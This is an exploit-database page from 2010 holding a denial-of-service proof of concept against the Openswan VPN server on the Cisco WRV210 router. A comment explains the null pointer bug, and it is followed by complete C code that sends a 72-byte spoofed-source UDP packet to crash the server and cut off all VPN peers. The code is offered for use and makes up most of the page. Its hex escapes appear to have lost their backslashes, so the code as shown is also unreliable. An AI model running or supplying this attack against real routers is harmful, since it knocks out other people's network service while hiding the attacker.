[dos / poc] - Cisco WRV210 null pointer dereference
Posted on 24 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Cisco WRV210 null pointer dereference | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 24 Sep 2010 | Exploit category: dos / poc | Exploit author: j5r9pn3lka | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>===================================== Cisco WRV210 null pointer dereference ===================================== /* 2010-09-24 by Paolo j5r9pn3lka yahoo dot com Product: Cisco WRV210 Wireless-G VPN Router - RangeBooster Type: denial of service exploit - null pointer dereference Remotely exploitable: yes Software: Openswan Version 2.4.5dr32 [bug: CVE-2009-0790, reported by Gerd v. Egidy of Intra2net AG] Vulnerability: VPN server crashes and reboots after one crafted 72 bytes UDP packet, and all the peers connected must wait and renegotiate. Therefore, it is possible to effectively disrupt all the VPN traffic on the target router, sending only 2 packets per minute. Pros: no need for authentication, and it works with UDP spoofed-source packets. Firmware affected: - 2.0.0.11 (current) - 1.1.17.9 Vulnerability details: this piece of crap still has a DPD attack vulnerable Openswan Pluto server, _always_ running (Openswan Version 2.4.5dr32). Lot of Cisco legal blurb about GPL etc, but if you buy this box [as I stupidly did], you'll end up having a linux-based, malfunctioning, grossly outdated, insecure, with a completely closed-source firmware, door stopper. So, seen that there werent publicly available exploits for this vuln, I've studied a bit the code, and wrote this one. Exploit details: in demux.c, in "case ISAKMP_XCHG_INFO", if packet's ISAKMP_FLAG_ENCRYPTION is 0x00, and the packet contains a DPD type R_U_THERE or R_U_THERE_ACK notification, it doesnt matter if the icookie, rcookie and messageid values dont match with a valid SA key: you'll go anyway to "static stf_status informational(struct msg_digest *md)" function, where respectively "dpd_inI_outR" and "dpd_inR" will be called, leading to the null pointer "st" dereference, exactly because no match with a valid key was found. So, its enough to send an ISAKMP "informational exchange" type (ISAKMP_XCHG_INFO) packet, containing the specific unencrypted notification (R_U_THERE or R_U_THERE_ACK) payload, and the Pluto server invariably crashes, with a nice "Segmentation fault" message viewable in the web panel log. [UDP packet sending code stolen from "arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk"] */ #include<sys/types.h> #include<sys/socket.h> #include<netinet/in_systm.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<errno.h> #include<string.h> #include<netdb.h> #include<arpa/inet.h> #include<stdio.h> #include<stdlib.h> struct sockaddr sa; main(int argc,char **argv) { int fd; int x=1; struct sockaddr_in *p; struct hostent *he; u_char gram[72]="x45x00x00x26" "x12x34x00x00" "xffx11x00x00" "x00x00x00x00" /* will be filled with source address */ "x00x00x00x00" /* will be filled with target address */ "x00x00x00x00" /* will be filled with source and target ports */ "x00x34x00x00" /* length of datagram */ "x00x00x00x00" /* non-ESP marker */ /* begin ISAKMP message */ "xffxffxffxffxffxffxffxff" /* initiator cookie */ "xffxffxffxffxffxffxffxff" /* responder cookie*/ "x0b" /* next payload type: ISAKMP_NEXT_N (notification) */ "x10" /* ISAKMP version: ISAKMP Version 1.0 */ "x05" /* exchange type: ISAKMP_XCHG_INFO (informational) */ "x00" /* flag: ISAKMP_FLAG_ENCRYPTION (none) */ "xffxffxffxff" /* message ID */ "x00x00x00x28" /* length of ISAKMP message */ /* begin notification payload */ "x00" /* next payload type: ISAKMP_NEXT_NONE (none) */ "x00" /* RESERVED, must be 0 */ "x00x0c" /* length of ISAKMP notification payload */ "x00x00x00x01" /* domain of interpretation: ISAKMP_DOI_IPSEC */ "x01" /* protocol ID: PROTO_ISAKMP */ "x00" /* SPI size [should be 16, but here it works, null pointer dereference happens anyway] */ "x8dx28"; /* notify message type: R_U_THERE */ /* endof notification payload */ /* endof ISAKMP message */ if(argc!=4) { fprintf(stderr,"usage: %s source address, source port, target address ",*argv); exit(1); }; if((he=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"can't resolve source address "); exit(1); }; bcopy(*(he->h_addr_list),(gram+12),4); if((he=gethostbyname(argv[3]))==NULL) { fprintf(stderr,"can't resolve target address "); exit(1); }; bcopy(*(he->h_addr_list),(gram+16),4); *(u_short*)(gram+20)=htons((u_short)atoi(argv[2])); *(u_short*)(gram+22)=htons(4500); p=(struct sockaddr_in*)&sa; p->sin_family=AF_INET; bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr)); if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1) { perror("socket"); exit(1); }; #ifdef IP_HDRINCL fprintf(stderr,"we have IP_HDRINCL :-) "); if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0) { perror("setsockopt IP_HDRINCL"); exit(1); }; #else fprintf(stderr,"we don't have IP_HDRINCL :-( "); #endif if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1) { perror("sendto"); exit(1); }; printf("datagram sent without error: "); for(x=0;x<(sizeof(gram)/sizeof(u_char));x++) { if(!(x%4)) putchar(' '); printf("%02x",gram[x]); }; putchar(' '); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-24]</pre></body></html>
